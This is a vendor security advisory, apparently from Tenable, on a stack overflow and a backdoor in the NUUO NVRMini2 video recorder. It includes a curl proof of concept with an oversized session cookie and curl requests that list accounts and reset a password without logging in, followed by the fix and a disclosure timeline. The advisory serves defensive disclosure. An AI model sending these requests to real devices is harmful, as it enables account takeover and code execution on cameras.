Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R2] Multiple NUUO NVRMini2 Vulnerabilities

Critical

Synopsis

While investigating the NVRMini2, a network video recorder developed by NUUO, Tenable discovered a couple of vulnerabilities in the HTTP interface.

CVE-2018-1149: Unauthenticated Remote Stack Buffer Overflow

The HTTP interface exposes the binary cgi_system through the http://<target>/cgi-bin/cgi_system endpoint. Much of the functionality of cgi_system requires the remote user to be authenticated. One of the ways the system verifies authentication is by comparing the session identifier in the user's PHPSESSID cookie against the session file stored in /tmp/. In the following screenshot, you can see how the system builds up the filename of the tmp file.

Overflow via sprintf

The value returned from sub_534a4 is the session identifier string. The string has not been limited to any size. Similarly there is no bounds check when the string is passed into sprintf to build the tmp filename. As such a remote unauthenticated attacker can overflow the stack buffer passed into sprintf. A one line proof of concept looks like this:

curl -v --cookie "PHPSESSID=982e6c010064b3878a4b793bfab8d2d2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;" "http://192.168.1.85/cgi-bin/cgi_system?cmd=portCheck"

Furthermore, we found that this overflow is exploitable to achieve remote code execution. A couple of proof of concept exploits can be found on our Github repository. This is particularly devastating because not only is an attacker able to control the NVR but the credentials for all the cameras connected to the NVR are stored in plaintext on disk.

CVE-2018-1150: Backdoor

A common idiom in the NVRMini2's PHP code base is to first:

  1. Check that the current PHP session is valid.
  2. Verify the session has appropriate permissions for the page being accessed (ie. admin, poweruser, user, root, guest).

However, the following clause in check_session_is_valid() is quite curious:

 if (file_exists(constant("MOSES_FILE"))) //back door
 {
     update_session();
     return 0;
 }

Note that we didn't insert the "back door" comment. It appears just like that in the code base. The constant("MOSES_FILE") turns out to be /tmp/moses. What does this logic allow an attacker to do? If the file /tmp/moses/ exists on the file system then an unauthenticated remote attacker can list all of the non-admin users and change their passwords:

[email protected]:~$ curl http://192.168.1.85/users_xml.php
<AccountInfo>
<users>
<userinfo><no>1</no><username>testuser</username><group>poweruser</group><displaygroup>power user</displaygroup><live>1,2,3,4,5,6,7,8</live><playback>1,2,3,4,5,6,7,8</playback><ptz>1</ptz><io>1</io><backupdata>1</backupdata><deletedata>1</deletedata><emapsetting>1</emapsetting><remotalksetting>1
</remotalksetting><log>0</log></userinfo>
</users>
<groups>
<groupinfo><no>1</no><groupname>poweruser</groupname><displayname>power user</displayname><groupmembers>testuser</groupmembers></groupinfo><groupinfo><no>2</no><groupname>user</groupname><displayname>user</displayname><groupmembers></groupmembers></groupinfo><groupinfo><no>3</no><groupname>guestuser</groupname><displayname>guestuser</displayname><groupmembers></groupmembers></groupinfo></groups>
</AccountInfo>
[email protected]:~$ curl 'http://192.168.1.85/users_xml.php?cmd=changepwd&username=testuser&newpwd=pwned'
change password: testuser ok!

This affectively allows unauthenticated remote users to take over accounts.

Solution

NUUO has released version 3.9.1 to address these issues. Download the update from their website.

Disclosure Timeline

06-01-2018 - Tenable asks NUUO for an appropriate contact via their eHelpDesk system.
06-01-2018 - NUUO provides an employee's email address.
06-01-2018 - Tenable contacts the NUUO employee and asks if they are the correct security contact.
06-01-2018 - NUUO employee says they are not but asks Tenable what product/problem they have.
06-01-2018 - Tenable indicates that the NVRMini2 has a remote vulnerability.
06-01-2018 - NUUO employee says there is a specific contact for that and they will reach out to Tenable.
06-05-2018 - A new NUUO employee contacts Tenable.
06-05-2018 - Tenable discloses the vulnerabilities via writeup and proof of concept. 90 day date is September 3, 2018.
06-12-2018 - NUUO acknowledges the report.
07-25-2018 - Tenable asks NUUO for an update.
07-27-2018 - NUUO responds that a patch is planned for September 17, 2018.
07-27-2018 - Tenable reminds NUUO that the 90 day mark is September 3, 2018.
08-01-2018 - NUUO reminds Tenable of the 14 day grace period in Tenable's disclosure policy.
08-03-2018 - Tenable acknowledges coordinated disclosure on September 17, 2018.
08-25-2018 - Tenable asks NUUO if they will coordinate with vendors that use them as an OEM.
09-05-2018 - Tenable reiterates previous question.
09-10-2018 - Tenables reminds NUUO that disclosure is 7 days away. Asks for an update.
09-11-2018 - NUUO says all issues are fixed and being verified. Suggests that they will provide firmware on September 13, 2018.
09-11-2018 - Tenable asks what the new version number will be.
09-12-2018 - NUUO responds with 3.9.0.1
09-14-2018 - Tenable asks NUUO about Sept. 13 firmware update.
09-17-2018 - Tenable reminds NUUO that the disclosure date is today.
09-17-2018 - NUUO says there will be a release tomorrow.
09-19-2018 - NUUO releases a fix.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,190.00

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 60 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578.00

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 60 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security